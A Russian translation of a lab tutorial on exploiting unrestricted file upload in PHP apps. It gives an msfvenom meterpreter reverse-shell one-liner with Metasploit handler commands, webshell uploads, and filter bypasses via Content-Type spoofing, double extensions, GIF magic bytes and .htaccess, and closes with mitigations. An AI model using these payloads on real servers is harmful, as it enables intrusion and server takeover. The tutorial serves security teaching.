В этой статье говорится о том, как нарушения пользовательского ввода данных и неправильное управление сервером открывают лазейки для проникновения в систему хакеров. Они, таким образом, способны разместить вредоносный контент, начиная с Unrestricted File Upload и заканчивая выводом из строя веб-приложений.
Что такое Unrestricted File Upload?
«Загрузить» или «Перетащить файл для загрузки» – пользователь, возможно, видел эти две надписи, независимо от того, настраивает ли он свое фото в профиле или просто подает заявку на работу.
Разработчики скриптов File Upload HTML позволяют своим пользователям загружать файлы на веб-сервер с помощью этих кнопок. Однако подобная простота может быть не до конца надежной, если не будут проверены те файлы, которые загружаются.
Уязвимость загрузки файлов является одной из основных проблем веб-приложений. На многих веб-серверах эта проблема полностью исходит от цели, что позволяет злоумышленнику загрузить файл с вредоносными кодами в нем, который, таким образом, может быть запущен на сервере.
Влияние Unrestricted File Upload
Последствия, которые несет в себе данная уязвимость загрузки файлов, различаются для каждого отдельного веб-приложения, поскольку они зависят от того, как загруженный файл обрабатывается приложением и где он хранится.
Таким образом, «дыра в защите» может привести к следующему:
- Захват всей системы жертвы с помощью атак на стороне сервера
- Вставка файлов с вредоносными целями, которые могут перезаписать существующие критические файлы. Мошенник способен запустить файл “.htaccess” для выполнения определенных скриптов
- Раскрытие и публикация внутренней и конфиденциальной информации о веб-сервере
- Перегрузка файловой системы или базы данных
- Внедрение фишинговых страниц, чтобы просто испортить веб-приложение
Тем не менее, эта уязвимость была зарегистрирована с оценкой CVSS “7,6” и высокой степенью опасности:
- CWE-434: Unrestricted Upload of File c высокой степенью опасности
Итак, теперь читатель знает о концепции загрузки файлов и о том, почему это происходит, и даже о тех последствиях, с которыми может столкнуться разработчик, если проверки не будут реализованы должным образом. Таким образом, стоит попробовать копнуть поглубже и узнать, как использовать эту проблему загрузки файлов всеми возможными способами.
Для этого раздела было разработано базовое веб-приложение с некоторыми PHP-скриптами, которое является уязвимым.
Базовая загрузка файлов
Бывают случаи, когда разработчики не знают о последствиях уязвимости загрузки файлов, и поэтому они с легкостью пишут базовые PHP-скрипты для выполнения своих задач. Но эта снисходительность открывает врата для крупных атак и потерь данных.
Необходимо проверить скрипт, который принимает загруженные файлы из основной HTML-формы загрузки файлов на веб-странице.
Из приведенного выше фрагмента кода пользователь может понять, что разработчик не реализовал никаких условий проверки ввода, то есть сервер не будет смотреть на расширение файла, тип контента или какие–либо конкретные аргументы и просто принимает все, что загружается.
Настала пора использовать это вышеописанное веб-приложение, создав PHP-бэкдор, применяя лучший msfvenom one-liner в качестве:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.7 lport=4444 -f raw
Пользователю нужно скопировать и вставить выделенный код в свой текстовый редактор и сохранить его с расширением PHP. В данном случае пользователь сохранил это как “ Reverse.php” на рабочем столе.
Теперь, вернувшись в приложение, он нажмет на тег Browse и выберет Reverse.php с рабочего стола.
Итак, пора нажать кнопку загрузки, которая и загрузит этот файл на веб-сервер.
На приведенном выше изображении пользователь может увидеть, что его файл был успешно загружен. Таким образом, он сможет проверить то же самое, щелкнув по тексту “here”.
Но стоит подождать, прежде чем нажать на этот текст. Следует загрузить фреймворк Metasploit и запустить мульти-обработчик с помощью:
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.7
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
Теперь, когда пользователь нажмет здесь на текст, будет получен сеанс meterpreter. Человек захватил сервер жертвы.
Ограничение по типу контента
До сих пор пользователь был сосредоточен только на том, что разработчик не проверяет файлы и что уязвимым является именно веб-приложение. Но что, если проверки реализуются, являются ли они базовыми или основными – неважно, приложение все равно будет страдать от уязвимости загрузки файлов?
Пора ответить и на этот вопрос.
Человек, возвращаясь в свое уязвимое веб-приложение, попробует загрузить файл Reverse.php вновь.
Ой!! На этот раз пользователь столкнулся с предупреждением, что принимаются только файлы формата “PNG”.
Но почему это произошло? Стоит сделать один шаг назад и загрузить Reverse.php снова, на этот раз включив burpsuite и захватив текущий HTTP-запрос.
На приведенном ниже изображении в мониторе burpsuite пользователь может увидеть, что тип контента здесь выглядит как «application/x-php».
Так что же это за тип контента? Сущность “Content-Type” в заголовке указывает внутренний тип носителя содержимого сообщения.
Иногда веб-приложения используют этот параметр для того, чтобы распознать файл как допустимый. Например, они принимают только файлы с «Content-Type» типа «text/plain». Так что вполне возможно, что разработчик использует эту штуку для проверки своего приложения.
Следует попробовать обойти эту защиту, изменив данный параметр content-type на «image / png» в заголовке запроса.
Пользователь нажмет кнопку Вперед и проверит реакцию приложения.
На приведенном выше изображении можно увидеть, что пользователь успешно обошел эту меру безопасности. Снова повторив тот же процесс, он запустит мульти-обработчик в фоновом режиме, прежде чем нажмет на текст “here”.
Отлично! Сервер жертвы вновь в руках пользователя.
Настала пора проверить его бэкенд-код, чтобы точнее понимать, почему все это произошло.
Как и предполагалось ранее, разработчик мог использовать параметр content-type как часть процесса проверки. Таким образом, здесь он проверяет загрузку, чтобы она была приемлемой. Она не будет допущена, когда значение $igcontent не будет равно «image/png».
Double Extension File Upload
Переходя в следующий раздел, при повторной попытке манипулировать типом содержимого в заголовке запроса, как в случае с “image/png”, пользователь на этот раз потерпел неудачу.
На приведенном ниже изображении можно увидеть, что приложение вернуло пользователя обратно на экран с ошибкой загрузки файла формата “PNG”.
Таким образом, все это может произойти только из-за того, что приложение проверяет расширение файла или допускает только файлы с форматом “.png “, которые будут загружены на веб-сервер. Это ограничивает загрузку других файлов.
Стоит проверить код разработчика:
Здесь он устанавливает три новые переменные:
- “$igallowed”, что содержит массив для расширения “PNG”. Веб-сервер будет принимать только файлы с расширением .png
- Теперь в следующей переменной $igsplit разработчик использовал функцию explode () со ссылкой на “.”, таким образом, интерпретатор PHP будет разбивать полное имя файла, когда он сталкивается с более чем точкой
- В третьей переменной в $igExtension он использует функцию end () для значения $igsplit, которое, таким образом, будет содержать конечное значение имени файла
Например:
Скажем, пользователь загружает файл как “Reverse.php.png”, теперь $igsplit не пускает его, когда он видит точку, т.е. файл теперь состоит из трех частей как [Reverse] [php] [png]. $igExtension будет принимать только конечное значение имени файла, т.е. [png].
Разработчик даже добавил условие if, которое будет проверять значение типа контента и сравнивать его с “image/png”, а также смотреть на наличие png в $igExtension и $igallowed, если какое-либо из трех условий будет не выполнено, выводится ошибка.
Многие способы могут помочь пользователям обойти это ограничение, но наиболее распространенным и предпочтительным методом является реализация “двойного расширения”, которое таким образом скрывает реальную природу файла, вставляя несколько расширений с его именем, что создает путаницу для параметров безопасности.
Например, Reverse.php.png выглядит как изображение png, которое является данными, а не приложением, но когда файл загружается с двойным расширением, он будет выполняться как php-файл, что и является приложением.
Здесь был переименован предыдущий файл, то есть Reverse.php в Reverse.php.png.
На приведенном ниже изображении можно увидеть, что, когда пользователь нажал на кнопку “Загрузить”, его загрузка была выполнена успешно.
Отлично! Пользователь снова обошел эту меру безопасности. Следует включить фреймворк Metasploit обратно, как это делалось ранее, а затем нажать на текст «here», чтобы получить сеанс meterpreter.
Интересно, почему все это произошло?
Это происходит из-за одной из основных причин: неправильной настройки сервера. Веб-сервер может быть неправильно сконфигурирован со следующей небезопасной настройкой, которая, в свою очередь, включает двойное расширение и делает веб-приложение уязвимым для подобного типа атак.
Примечание:
Чтобы сделать возможной атаку двойного расширения,“$ ” следует удалить из конца строк защищенной конфигурации с помощью:
nano /etc/apache2/mods-available/php7.4.conf
Обход проверки размера изображения
Возможно, пользователь уже видел приложения, которые ограничивают размер файла, то есть они не позволяют загружать файл больше определенного размера. Эту проверку можно обойти легко, загрузив полезную нагрузку наименьшего размера.
Так что в данном случае человек не смог загрузить Reverse.php, так как он был размером более 3 КБ, что, таким образом, не удовлетворяло условий разработчика. Стоит проверить бэкенд-код:
Здесь он использовал новую переменную $igdetails, которая далее вызывает функцию php, то есть getimagesize(). Эта предопределенная функция, в основном, используется для обнаружения файлов изображений, которые изначально считывают файл и возвращают размер изображения, если подлинное изображение загружается в другом месте в случае наличия недопустимого файла, а затем getimagesize () выводит ошибку. Далее, в этом разделе пользователь использовал другую переменную $igallowed, которая, будет принимать только изображения “gif”.
Так что настала пора попробовать вызвать одну из самых маленьких полезных нагрузок, simple-backdoor.php из каталога webshells, и перенести ее на рабочий стол.
cp /usr/share/webshells/php/simple-backdoor.php /root/Desktop/
Теперь пришло время установить на ней двойное расширение, на этот раз пользователь сделает из файла gif.
mv simple-backdoor.php simple-backdoor.php.gif
Стоит подождать, ведь перед загрузкой этого файла нужно установить еще одну вещь, то есть добавить магическое число для GIF-изображений, чтобы, если сервер не проверит расширение, а вместо этого проверит заголовок файла, пользователя не поймали. Таким образом, в случае “gif” магическое число будет равно “GIF89” или “GIF89a”, в принципе, можно использовать любой из двух предложенных вариантов.
Время загружать!
На приведенном ниже изображении можно увидеть, что пользователь успешно загрузил файл на веб-сервер.
Он нажмет на текст “here” и проверит, что все прошло успешно.
Отлично!! Пользователь успешно обошел и эту меру безопасности. Теперь следует попробовать захватить кое-какие конфиденциальные данные.
Blacklisted Extension File Upload
Итак, до сих пор пользователя ждал успех только потому, что разработчик проверял все, кроме php-файла, скажем, с помощью недопустимого условия или с помощью какого-либо конкретного аргумента.
Но вот, на этот раз человек столкнулся с тем, что разработчик внес в черный список, «php» или «PHP extensions».
Однако всякий раз, когда есть черный список, реализованный для чего-либо, он, таким образом, открывает лазейки для осуществления других действий. Например, если разработчик обратится в черный список .php, пользователь мог бы загрузить конкретный, нужный ему файл.
Аналогично, когда пользователь пытался обойти раздел загрузки файла всеми возможными способами, будь то его тип контента или двойное расширение, он каждый раз терпел неудачу и получал следующий ответ:
Далее он попытался сделать то же самое, переименовав файл из “ Reverse.php” в “ Reverse.РНР”.
И как только он нажал на кнопку загрузки, она была выполнена.
Теперь стоит проверить, работает ли файл или нет. Когда пользователь нажал на текст “here”, его перенаправили на новую страницу, но файл не был выполнен.
Так почему же все это произошло? Пользователь обошел «охрану», это должно было сработать.
Это произошло, потому что веб-сервер цели не был настроен для выполнения файлов расширения PHP, т.е. пользователь обошел защиту веб-приложений, но сервер не смог запустить данный файл.
Итак, чтобы открыть файлы с желаемым расширением, нужно загрузить “htaccess”:
AddType application/x-httpd-php PHP
Следует сохранить вышеуказанное содержимое в файле и назвать его “.htaccess”. Но, прежде чем загрузить его на сервер, он должен принять и разрешить загрузку .htaccess файла в его каталог. Это можно включить, настроив разрешение переопределения для всех из None.
Настала пора сделать это:
cd /etc/apache2/apache2.conf
Пользователь изменит его на all в каталоге /var / www/.
Теперь перезапустит сервер apache с помощью:
sudo service apache2 restart
Пользователь вернется в веб-приложение, попробует загрузить файл .htaccess.
Отлично!! После успешной загрузки стоит попробовать снова отправить туда файл полезной нагрузки.
Пользователь нажмет на кнопку загрузки, но на этот раз, прежде чем кликнуть на текст “here”, следует снова настроить фреймворк Metasploit, как это делалось ранее.
Круто!! Новый сеанс meterpreter был установлен.
Митигирование
- Вместо черного списка разработчик должен внедрить в свои скрипты набор приемлемых файлов, то есть белый список
- Разработчику следует разрешить определенные расширения файлов
- Только авторизованные и аутентифицированные пользователи могут использовать эту функцию для загрузки файлов
- Никогда стоит показывать путь к загруженному файлу, если требуется просмотреть его, то изначально файл должен быть сохранен в temp. каталог с наименьшими привилегиями.
- Даже не веб-приложение, сам сервер должен быть настроен должным образом, то есть двойные расширения под запретом, а AllowOverride должен быть установлен в “None”.
Автор переведенной статьи: Chiragh Arora.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.